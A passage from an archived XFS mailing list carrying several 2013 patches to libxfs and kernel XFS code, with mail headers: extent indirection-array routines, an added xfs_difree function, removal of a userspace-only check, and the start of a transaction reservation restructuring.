XFS_IFEXTIREC) { + idx += erp->er_extoff; + } + if (bno >= startoff + blockcount) { + if (++idx == nextents) { + ep = NULL; + } else { + ep = xfs_iext_get_ext(ifp, idx); + } + } + *idxp = idx; + return ep; +} + +/* + * Return a pointer to the indirection array entry containing the + * extent record for filesystem block bno. Store the index of the + * target irec in *erp_idxp. + */ +xfs_ext_irec_t * /* pointer to found extent record */ +xfs_iext_bno_to_irec( + xfs_ifork_t *ifp, /* inode fork pointer */ + xfs_fileoff_t bno, /* block number to search for */ + int *erp_idxp) /* irec index of target ext list */ +{ + xfs_ext_irec_t *erp = NULL; /* indirection array pointer */ + xfs_ext_irec_t *erp_next; /* next indirection array entry */ + int erp_idx; /* indirection array index */ + int nlists; /* number of extent irec's (lists) */ + int high; /* binary search upper limit */ + int low; /* binary search lower limit */ + + ASSERT(ifp->if_flags & XFS_IFEXTIREC); + nlists = ifp->if_real_bytes / XFS_IEXT_BUFSZ; + erp_idx = 0; + low = 0; + high = nlists - 1; + while (low <= high) { + erp_idx = (low + high) >> 1; + erp = &ifp->if_u1.if_ext_irec[erp_idx]; + erp_next = erp_idx < nlists - 1 ? erp + 1 : NULL; + if (bno < xfs_bmbt_get_startoff(erp->er_extbuf)) { + high = erp_idx - 1; + } else if (erp_next && bno >= + xfs_bmbt_get_startoff(erp_next->er_extbuf)) { + low = erp_idx + 1; + } else { + break; + } + } + *erp_idxp = erp_idx; + return erp; +} + +/* + * Return a pointer to the indirection array entry containing the + * extent record at file extent index *idxp. Store the index of the + * target irec in *erp_idxp and store the page index of the target + * extent record in *idxp. + */ +xfs_ext_irec_t * +xfs_iext_idx_to_irec( + xfs_ifork_t *ifp, /* inode fork pointer */ + xfs_extnum_t *idxp, /* extent index (file -> page) */ + int *erp_idxp, /* pointer to target irec */ + int realloc) /* new bytes were just added */ +{ + xfs_ext_irec_t *prev; /* pointer to previous irec */ + xfs_ext_irec_t *erp = NULL; /* pointer to current irec */ + int erp_idx; /* indirection array index */ + int nlists; /* number of irec's (ex lists) */ + int high; /* binary search upper limit */ + int low; /* binary search lower limit */ + xfs_extnum_t page_idx = *idxp; /* extent index in target list */ + + ASSERT(ifp->if_flags & XFS_IFEXTIREC); + ASSERT(page_idx >= 0); + ASSERT(page_idx <= ifp->if_bytes / sizeof(xfs_bmbt_rec_t)); + ASSERT(page_idx < ifp->if_bytes / sizeof(xfs_bmbt_rec_t) || realloc); + + nlists = ifp->if_real_bytes / XFS_IEXT_BUFSZ; + erp_idx = 0; + low = 0; + high = nlists - 1; + + /* Binary search extent irec's */ + while (low <= high) { + erp_idx = (low + high) >> 1; + erp = &ifp->if_u1.if_ext_irec[erp_idx]; + prev = erp_idx > 0 ? erp - 1 : NULL; + if (page_idx < erp->er_extoff || (page_idx == erp->er_extoff && + realloc && prev && prev->er_extcount < XFS_LINEAR_EXTS)) { + high = erp_idx - 1; + } else if (page_idx > erp->er_extoff + erp->er_extcount || + (page_idx == erp->er_extoff + erp->er_extcount && + !realloc)) { + low = erp_idx + 1; + } else if (page_idx == erp->er_extoff + erp->er_extcount && + erp->er_extcount == XFS_LINEAR_EXTS) { + ASSERT(realloc); + page_idx = 0; + erp_idx++; + erp = erp_idx < nlists ? erp + 1 : NULL; + break; + } else { + page_idx -= erp->er_extoff; + break; + } + } + *idxp = page_idx; + *erp_idxp = erp_idx; + return(erp); +} + +/* + * Allocate and initialize an indirection array once the space needed + * for incore extents increases above XFS_IEXT_BUFSZ. + */ +void +xfs_iext_irec_init( + xfs_ifork_t *ifp) /* inode fork pointer */ +{ + xfs_ext_irec_t *erp; /* indirection array pointer */ + xfs_extnum_t nextents; /* number of extents in file */ + + ASSERT(!(ifp->if_flags & XFS_IFEXTIREC)); + nextents = ifp->if_bytes / (uint)sizeof(xfs_bmbt_rec_t); + ASSERT(nextents <= XFS_LINEAR_EXTS); + + erp = kmem_alloc(sizeof(xfs_ext_irec_t), KM_NOFS); + + if (nextents == 0) { + ifp->if_u1.if_extents = kmem_alloc(XFS_IEXT_BUFSZ, KM_NOFS); + } else if (!ifp->if_real_bytes) { + xfs_iext_inline_to_direct(ifp, XFS_IEXT_BUFSZ); + } else if (ifp->if_real_bytes < XFS_IEXT_BUFSZ) { + xfs_iext_realloc_direct(ifp, XFS_IEXT_BUFSZ); + } + erp->er_extbuf = ifp->if_u1.if_extents; + erp->er_extcount = nextents; + erp->er_extoff = 0; + + ifp->if_flags |= XFS_IFEXTIREC; + ifp->if_real_bytes = XFS_IEXT_BUFSZ; + ifp->if_bytes = nextents * sizeof(xfs_bmbt_rec_t); + ifp->if_u1.if_ext_irec = erp; + + return; +} + +/* + * Allocate and initialize a new entry in the indirection array. + */ +xfs_ext_irec_t * +xfs_iext_irec_new( + xfs_ifork_t *ifp, /* inode fork pointer */ + int erp_idx) /* index for new irec */ +{ + xfs_ext_irec_t *erp; /* indirection array pointer */ + int i; /* loop counter */ + int nlists; /* number of irec's (ex lists) */ + + ASSERT(ifp->if_flags & XFS_IFEXTIREC); + nlists = ifp->if_real_bytes / XFS_IEXT_BUFSZ; + + /* Resize indirection array */ + xfs_iext_realloc_indirect(ifp, ++nlists * + sizeof(xfs_ext_irec_t)); + /* + * Move records down in the array so the + * new page can use erp_idx. + */ + erp = ifp->if_u1.if_ext_irec; + for (i = nlists - 1; i > erp_idx; i--) { + memmove(&erp[i], &erp[i-1], sizeof(xfs_ext_irec_t)); + } + ASSERT(i == erp_idx); + + /* Initialize new extent record */ + erp = ifp->if_u1.if_ext_irec; + erp[erp_idx].er_extbuf = kmem_alloc(XFS_IEXT_BUFSZ, KM_NOFS); + ifp->if_real_bytes = nlists * XFS_IEXT_BUFSZ; + memset(erp[erp_idx].er_extbuf, 0, XFS_IEXT_BUFSZ); + erp[erp_idx].er_extcount = 0; + erp[erp_idx].er_extoff = erp_idx > 0 ? + erp[erp_idx-1].er_extoff + erp[erp_idx-1].er_extcount : 0; + return (&erp[erp_idx]); +} + +/* + * Remove a record from the indirection array. + */ +void +xfs_iext_irec_remove( + xfs_ifork_t *ifp, /* inode fork pointer */ + int erp_idx) /* irec index to remove */ +{ + xfs_ext_irec_t *erp; /* indirection array pointer */ + int i; /* loop counter */ + int nlists; /* number of irec's (ex lists) */ + + ASSERT(ifp->if_flags & XFS_IFEXTIREC); + nlists = ifp->if_real_bytes / XFS_IEXT_BUFSZ; + erp = &ifp->if_u1.if_ext_irec[erp_idx]; + if (erp->er_extbuf) { + xfs_iext_irec_update_extoffs(ifp, erp_idx + 1, + -erp->er_extcount); + kmem_free(erp->er_extbuf); + } + /* Compact extent records */ + erp = ifp->if_u1.if_ext_irec; + for (i = erp_idx; i < nlists - 1; i++) { + memmove(&erp[i], &erp[i+1], sizeof(xfs_ext_irec_t)); + } + /* + * Manually free the last extent record from the indirection + * array. A call to xfs_iext_realloc_indirect() with a size + * of zero would result in a call to xfs_iext_destroy() which + * would in turn call this function again, creating a nasty + * infinite loop. + */ + if (--nlists) { + xfs_iext_realloc_indirect(ifp, + nlists * sizeof(xfs_ext_irec_t)); + } else { + kmem_free(ifp->if_u1.if_ext_irec); + } + ifp->if_real_bytes = nlists * XFS_IEXT_BUFSZ; +} + +/* + * This is called to clean up large amounts of unused memory allocated + * by the indirection array. Before compacting anything though, verify + * that the indirection array is still needed and switch back to the + * linear extent list (or even the inline buffer) if possible. The + * compaction policy is as follows: + * + * Full Compaction: Extents fit into a single page (or inline buffer) + * Partial Compaction: Extents occupy less than 50% of allocated space + * No Compaction: Extents occupy at least 50% of allocated space + */ +void +xfs_iext_irec_compact( + xfs_ifork_t *ifp) /* inode fork pointer */ +{ + xfs_extnum_t nextents; /* number of extents in file */ + int nlists; /* number of irec's (ex lists) */ + + ASSERT(ifp->if_flags & XFS_IFEXTIREC); + nlists = ifp->if_real_bytes / XFS_IEXT_BUFSZ; + nextents = ifp->if_bytes / (uint)sizeof(xfs_bmbt_rec_t); + + if (nextents == 0) { + xfs_iext_destroy(ifp); + } else if (nextents <= XFS_INLINE_EXTS) { + xfs_iext_indirect_to_direct(ifp); + xfs_iext_direct_to_inline(ifp, nextents); + } else if (nextents <= XFS_LINEAR_EXTS) { + xfs_iext_indirect_to_direct(ifp); + } else if (nextents < (nlists * XFS_LINEAR_EXTS) >> 1) { + xfs_iext_irec_compact_pages(ifp); + } +} + +/* + * Combine extents from neighboring extent pages. + */ +void +xfs_iext_irec_compact_pages( + xfs_ifork_t *ifp) /* inode fork pointer */ +{ + xfs_ext_irec_t *erp, *erp_next;/* pointers to irec entries */ + int erp_idx = 0; /* indirection array index */ + int nlists; /* number of irec's (ex lists) */ + + ASSERT(ifp->if_flags & XFS_IFEXTIREC); + nlists = ifp->if_real_bytes / XFS_IEXT_BUFSZ; + while (erp_idx < nlists - 1) { + erp = &ifp->if_u1.if_ext_irec[erp_idx]; + erp_next = erp + 1; + if (erp_next->er_extcount <= + (XFS_LINEAR_EXTS - erp->er_extcount)) { + memcpy(&erp->er_extbuf[erp->er_extcount], + erp_next->er_extbuf, erp_next->er_extcount * + sizeof(xfs_bmbt_rec_t)); + erp->er_extcount += erp_next->er_extcount; + /* + * Free page before removing extent record + * so er_extoffs don't get modified in + * xfs_iext_irec_remove. + */ + kmem_free(erp_next->er_extbuf); + erp_next->er_extbuf = NULL; + xfs_iext_irec_remove(ifp, erp_idx + 1); + nlists = ifp->if_real_bytes / XFS_IEXT_BUFSZ; + } else { + erp_idx++; + } + } +} + +/* + * This is called to update the er_extoff field in the indirection + * array when extents have been added or removed from one of the + * extent lists. erp_idx contains the irec index to begin updating + * at and ext_diff contains the number of extents that were added + * or removed. + */ +void +xfs_iext_irec_update_extoffs( + xfs_ifork_t *ifp, /* inode fork pointer */ + int erp_idx, /* irec index to update */ + int ext_diff) /* number of new extents */ +{ + int i; /* loop counter */ + int nlists; /* number of irec's (ex lists */ + + ASSERT(ifp->if_flags & XFS_IFEXTIREC); + nlists = ifp->if_real_bytes / XFS_IEXT_BUFSZ; + for (i = erp_idx; i < nlists; i++) { + ifp->if_u1.if_ext_irec[i].er_extoff += ext_diff; + } +} -- 1.8.3.2 From dave@fromorbit.com Fri Jul 19 01:47:06 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 268068077 for ; Fri, 19 Jul 2013 01:45:59 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 08F688F8033 for ; Thu, 18 Jul 2013 23:45:59 -0700 (PDT) X-ASG-Debug-ID: 1374216332-04cb6c2a42ed669000d-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id 2wh19tnFhpQLK69C for ; Thu, 18 Jul 2013 23:45:57 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AroLAMLf6FF5LK4r/2dsb2JhbABagwbBRgSBFRd0giQBAQUnLzMIGDE5AxsZiA+2I45yhSADoX+HK4MkKg Received: from ppp121-44-174-43.lns20.syd7.internode.on.net (HELO dastard) ([121.44.174.43]) by ipmail06.adl6.internode.on.net with ESMTP; 19 Jul 2013 16:15:49 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1V04RS-0004IL-PE for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:45:26 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1V04RS-0002Jv-Nv for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:45:26 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 11/49] libxfs: sync xfs_ialloc.c to the kernel code Date: Fri, 19 Jul 2013 16:44:46 +1000 X-ASG-Orig-Subj: [PATCH 11/49] libxfs: sync xfs_ialloc.c to the kernel code Message-Id: <1374216324-8781-12-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1374216324-8781-1-git-send-email-david@fromorbit.com> References: <1374216324-8781-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1374216356 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137191 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner include the missing xfs_difree() function. it's not used by userspace, but it makes no sense to have just this one arbitrary difference between the kernel and userspace files. Signed-off-by: Dave Chinner --- libxfs/xfs.h | 1 + libxfs/xfs_ialloc.c | 186 +++++++++++++++++++++++++++++++++++++++++++++++++--- 2 files changed, 177 insertions(+), 10 deletions(-) diff --git a/libxfs/xfs.h b/libxfs/xfs.h index 15e82d7..3fd226c 100644 --- a/libxfs/xfs.h +++ b/libxfs/xfs.h @@ -208,6 +208,7 @@ roundup_pow_of_two(uint v) #define XFS_MOUNT_SMALL_INUMS 0 /* ignored in userspace */ #define XFS_MOUNT_WSYNC 0 /* ignored in userspace */ #define XFS_MOUNT_NOALIGN 0 /* ignored in userspace */ +#define XFS_MOUNT_IKEEP 0 /* ignored in userspace */ #define xfs_icsb_modify_counters(mp, field, delta, rsvd) \ xfs_mod_incore_sb(mp, field, delta, rsvd) diff --git a/libxfs/xfs_ialloc.c b/libxfs/xfs_ialloc.c index 48916dd..98513fd 100644 --- a/libxfs/xfs_ialloc.c +++ b/libxfs/xfs_ialloc.c @@ -314,7 +314,7 @@ xfs_ialloc_ag_alloc( * First try to allocate inodes contiguous with the last-allocated * chunk of inodes. If the filesystem is striped, this will fill * an entire stripe unit with inodes. - */ + */ agi = XFS_BUF_TO_AGI(agbp); newino = be32_to_cpu(agi->agi_newino); agno = be32_to_cpu(agi->agi_seqno); @@ -324,8 +324,6 @@ xfs_ialloc_ag_alloc( (args.agbno < be32_to_cpu(agi->agi_length)))) { args.fsbno = XFS_AGB_TO_FSB(args.mp, agno, args.agbno); args.type = XFS_ALLOCTYPE_THIS_BNO; - args.mod = args.total = args.wasdel = args.isfl = - args.userdata = args.minalignslop = 0; args.prod = 1; /* @@ -378,8 +376,6 @@ xfs_ialloc_ag_alloc( * Allocate a fixed-size extent of inodes. */ args.type = XFS_ALLOCTYPE_NEAR_BNO; - args.mod = args.total = args.wasdel = args.isfl = - args.userdata = args.minalignslop = 0; args.prod = 1; /* * Allow space for the inode btree to split. @@ -630,8 +626,7 @@ xfs_ialloc_get_rec( struct xfs_btree_cur *cur, xfs_agino_t agino, xfs_inobt_rec_incore_t *rec, - int *done, - int left) + int *done) { int error; int i; @@ -739,12 +734,12 @@ xfs_dialloc_ag( pag->pagl_leftrec != NULLAGINO && pag->pagl_rightrec != NULLAGINO) { error = xfs_ialloc_get_rec(tcur, pag->pagl_leftrec, - &trec, &doneleft, 1); + &trec, &doneleft); if (error) goto error1; error = xfs_ialloc_get_rec(cur, pag->pagl_rightrec, - &rec, &doneright, 0); + &rec, &doneright); if (error) goto error1; } else { @@ -1074,6 +1069,177 @@ out_error: return XFS_ERROR(error); } +/* + * Free disk inode. Carefully avoids touching the incore inode, all + * manipulations incore are the caller's responsibility. + * The on-disk inode is not changed by this operation, only the + * btree (free inode mask) is changed. + */ +int +xfs_difree( + xfs_trans_t *tp, /* transaction pointer */ + xfs_ino_t inode, /* inode to be freed */ + xfs_bmap_free_t *flist, /* extents to free */ + int *delete, /* set if inode cluster was deleted */ + xfs_ino_t *first_ino) /* first inode in deleted cluster */ +{ + /* REFERENCED */ + xfs_agblock_t agbno; /* block number containing inode */ + xfs_buf_t *agbp; /* buffer containing allocation group header */ + xfs_agino_t agino; /* inode number relative to allocation group */ + xfs_agnumber_t agno; /* allocation group number */ + xfs_agi_t *agi; /* allocation group header */ + xfs_btree_cur_t *cur; /* inode btree cursor */ + int error; /* error return value */ + int i; /* result code */ + int ilen; /* inodes in an inode cluster */ + xfs_mount_t *mp; /* mount structure for filesystem */ + int off; /* offset of inode in inode chunk */ + xfs_inobt_rec_incore_t rec; /* btree record */ + struct xfs_perag *pag; + + mp = tp->t_mountp; + + /* + * Break up inode number into its components. + */ + agno = XFS_INO_TO_AGNO(mp, inode); + if (agno >= mp->m_sb.sb_agcount) { + xfs_warn(mp, "%s: agno >= mp->m_sb.sb_agcount (%d >= %d).", + __func__, agno, mp->m_sb.sb_agcount); + ASSERT(0); + return XFS_ERROR(EINVAL); + } + agino = XFS_INO_TO_AGINO(mp, inode); + if (inode != XFS_AGINO_TO_INO(mp, agno, agino)) { + xfs_warn(mp, "%s: inode != XFS_AGINO_TO_INO() (%llu != %llu).", + __func__, (unsigned long long)inode, + (unsigned long long)XFS_AGINO_TO_INO(mp, agno, agino)); + ASSERT(0); + return XFS_ERROR(EINVAL); + } + agbno = XFS_AGINO_TO_AGBNO(mp, agino); + if (agbno >= mp->m_sb.sb_agblocks) { + xfs_warn(mp, "%s: agbno >= mp->m_sb.sb_agblocks (%d >= %d).", + __func__, agbno, mp->m_sb.sb_agblocks); + ASSERT(0); + return XFS_ERROR(EINVAL); + } + /* + * Get the allocation group header. + */ + error = xfs_ialloc_read_agi(mp, tp, agno, &agbp); + if (error) { + xfs_warn(mp, "%s: xfs_ialloc_read_agi() returned error %d.", + __func__, error); + return error; + } + agi = XFS_BUF_TO_AGI(agbp); + ASSERT(agi->agi_magicnum == cpu_to_be32(XFS_AGI_MAGIC)); + ASSERT(agbno < be32_to_cpu(agi->agi_length)); + /* + * Initialize the cursor. + */ + cur = xfs_inobt_init_cursor(mp, tp, agbp, agno); + + error = xfs_check_agi_freecount(cur, agi); + if (error) + goto error0; + + /* + * Look for the entry describing this inode. + */ + if ((error = xfs_inobt_lookup(cur, agino, XFS_LOOKUP_LE, &i))) { + xfs_warn(mp, "%s: xfs_inobt_lookup() returned error %d.", + __func__, error); + goto error0; + } + XFS_WANT_CORRUPTED_GOTO(i == 1, error0); + error = xfs_inobt_get_rec(cur, &rec, &i); + if (error) { + xfs_warn(mp, "%s: xfs_inobt_get_rec() returned error %d.", + __func__, error); + goto error0; + } + XFS_WANT_CORRUPTED_GOTO(i == 1, error0); + /* + * Get the offset in the inode chunk. + */ + off = agino - rec.ir_startino; + ASSERT(off >= 0 && off < XFS_INODES_PER_CHUNK); + ASSERT(!(rec.ir_free & XFS_INOBT_MASK(off))); + /* + * Mark the inode free & increment the count. + */ + rec.ir_free |= XFS_INOBT_MASK(off); + rec.ir_freecount++; + + /* + * When an inode cluster is free, it becomes eligible for removal + */ + if (!(mp->m_flags & XFS_MOUNT_IKEEP) && + (rec.ir_freecount == XFS_IALLOC_INODES(mp))) { + + *delete = 1; + *first_ino = XFS_AGINO_TO_INO(mp, agno, rec.ir_startino); + + /* + * Remove the inode cluster from the AGI B+Tree, adjust the + * AGI and Superblock inode counts, and mark the disk space + * to be freed when the transaction is committed. + */ + ilen = XFS_IALLOC_INODES(mp); + be32_add_cpu(&agi->agi_count, -ilen); + be32_add_cpu(&agi->agi_freecount, -(ilen - 1)); + xfs_ialloc_log_agi(tp, agbp, XFS_AGI_COUNT | XFS_AGI_FREECOUNT); + pag = xfs_perag_get(mp, agno); + pag->pagi_freecount -= ilen - 1; + xfs_perag_put(pag); + xfs_trans_mod_sb(tp, XFS_TRANS_SB_ICOUNT, -ilen); + xfs_trans_mod_sb(tp, XFS_TRANS_SB_IFREE, -(ilen - 1)); + + if ((error = xfs_btree_delete(cur, &i))) { + xfs_warn(mp, "%s: xfs_btree_delete returned error %d.", + __func__, error); + goto error0; + } + + xfs_bmap_add_free(XFS_AGB_TO_FSB(mp, + agno, XFS_INO_TO_AGBNO(mp,rec.ir_startino)), + XFS_IALLOC_BLOCKS(mp), flist, mp); + } else { + *delete = 0; + + error = xfs_inobt_update(cur, &rec); + if (error) { + xfs_warn(mp, "%s: xfs_inobt_update returned error %d.", + __func__, error); + goto error0; + } + + /* + * Change the inode free counts and log the ag/sb changes. + */ + be32_add_cpu(&agi->agi_freecount, 1); + xfs_ialloc_log_agi(tp, agbp, XFS_AGI_FREECOUNT); + pag = xfs_perag_get(mp, agno); + pag->pagi_freecount++; + xfs_perag_put(pag); + xfs_trans_mod_sb(tp, XFS_TRANS_SB_IFREE, 1); + } + + error = xfs_check_agi_freecount(cur, agi); + if (error) + goto error0; + + xfs_btree_del_cursor(cur, XFS_BTREE_NOERROR); + return 0; + +error0: + xfs_btree_del_cursor(cur, XFS_BTREE_ERROR); + return error; +} + STATIC int xfs_imap_lookup( struct xfs_mount *mp, @@ -1153,7 +1319,7 @@ xfs_imap( xfs_agblock_t cluster_agbno; /* first block in inode cluster */ int error; /* error code */ int offset; /* index of inode in its buffer */ - xfs_agblock_t offset_agbno; /* blks from chunk start to inode */ + int offset_agbno; /* blks from chunk start to inode */ ASSERT(ino != NULLFSINO); -- 1.8.3.2 From dave@fromorbit.com Fri Jul 19 01:47:09 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id C388580B2 for ; Fri, 19 Jul 2013 01:46:00 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 522BCAC00E for ; Thu, 18 Jul 2013 23:46:00 -0700 (PDT) X-ASG-Debug-ID: 1374216332-04cb6c2a42ed669000e-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id sP0i0GNV0KuWXSmO for ; Thu, 18 Jul 2013 23:45:58 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: ArkLAMLf6FF5LK4r/2dsb2JhbABagwbBRgSBFRd0giQBAQVWMwgYMTkDGxmID7YjjnKBOoNmA6F/hyuDJCo Received: from ppp121-44-174-43.lns20.syd7.internode.on.net (HELO dastard) ([121.44.174.43]) by ipmail06.adl6.internode.on.net with ESMTP; 19 Jul 2013 16:15:55 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1V04RT-0004JO-BK for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:45:27 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1V04RT-0002M6-AO for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:45:27 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 38/49] xfs: remove __KERNEL__ check from xfs_dir2_leaf.c Date: Fri, 19 Jul 2013 16:45:13 +1000 X-ASG-Orig-Subj: [PATCH 38/49] xfs: remove __KERNEL__ check from xfs_dir2_leaf.c Message-Id: <1374216324-8781-39-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1374216324-8781-1-git-send-email-david@fromorbit.com> References: <1374216324-8781-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1374216358 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137191 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner It's actually an ifndef section, which means it is only included in userspace. however, it's deep within the libxfs code, so it's unlikely that the condition checked in userspace can actually occur (search an empty leaf) through the libxfs interfaces. i.e. if it can happen in usrspace, it can happen in the kernel, so remove it from userspace too.... Signed-off-by: Dave Chinner --- libxfs/xfs_dir2_leaf.c | 4 ---- 1 file changed, 4 deletions(-) diff --git a/libxfs/xfs_dir2_leaf.c b/libxfs/xfs_dir2_leaf.c index 8c20b9e..55b7d05 100644 --- a/libxfs/xfs_dir2_leaf.c +++ b/libxfs/xfs_dir2_leaf.c @@ -1568,10 +1568,6 @@ xfs_dir2_leaf_search_hash( ents = xfs_dir3_leaf_ents_p(leaf); xfs_dir3_leaf_hdr_from_disk(&leafhdr, leaf); -#ifndef __KERNEL__ - if (!leafhdr.count) - return 0; -#endif /* * Note, the table cannot be empty, so we have to go through the loop. * Binary search the leaf entries looking for our hash value. -- 1.8.3.2 From dave@fromorbit.com Fri Jul 19 01:47:09 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 0625B80B3 for ; Fri, 19 Jul 2013 01:46:01 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id E9BE38F8033 for ; Thu, 18 Jul 2013 23:46:00 -0700 (PDT) X-ASG-Debug-ID: 1374216330-04cbb0468f117d540013-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id IOZzjFtwHHVXXend for ; Thu, 18 Jul 2013 23:45:58 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AroLAMLf6FF5LK4r/2dsb2JhbABagwbBRgSBFRd0giQBAQUnLzMIGDE5AxsZiA+2I45fCAuFIAOpKoFZgUsqgS0 Received: from ppp121-44-174-43.lns20.syd7.internode.on.net (HELO dastard) ([121.44.174.43]) by ipmail06.adl6.internode.on.net with ESMTP; 19 Jul 2013 16:15:57 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1V04RT-0004Jb-E9 for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:45:27 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1V04RT-0002ML-DC for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:45:27 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 41/49] xfs: Introduce a new structure to hold transaction reservation items Date: Fri, 19 Jul 2013 16:45:16 +1000 X-ASG-Orig-Subj: [PATCH 41/49] xfs: Introduce a new structure to hold transaction reservation items Message-Id: <1374216324-8781-42-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1374216324-8781-1-git-send-email-david@fromorbit.com> References: <1374216324-8781-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1374216358 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137191 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Jie Liu Introduce a new structure xfs_trans_res to hold transaction reservation item info per log ticket. We also need to improve xfs_trans_resv_calc() by initializing the log count as well as log flags for permanent log reservation. Signed-off-by: Jie Liu Signed-off-by: Dave Chinner --- include/libxfs.h | 2 +- include/xfs_trans_resv.h | 125 ++++++++++++++++++++++++++--------------------- libxfs/trans.c | 2 +- libxfs/xfs_trans_resv.c | 121 ++++++++++++++++++++++++++++++++++----------- mkfs/maxtrres.c | 17 ++++--- 5 files changed, 172 insertions(+), 95 deletions(-) diff --git a/include/libxfs.h b/include/libxfs.h index 03caf9c..e58fcdc 100644 --- a/include/libxfs.h +++ b/include/libxfs.h @@ -203,7 +203,7 @@ typedef struct xfs_mount { int m_ialloc_blks; /* blocks in inode allocation */ int m_litino; /* size of inode union area */ int m_inoalign_mask;/* mask sb_inoalignmt if used */ - struct xfs_trans_resv m_reservations; /* precomputed res values */ + struct xfs_trans_resv m_resv; /* precomputed res values */ __uint64_t m_maxicount; /* maximum inode count */ int m_dalign; /* stripe unit */ int m_swidth; /* stripe width */ diff --git a/include/xfs_trans_resv.h b/include/xfs_trans_resv.h index 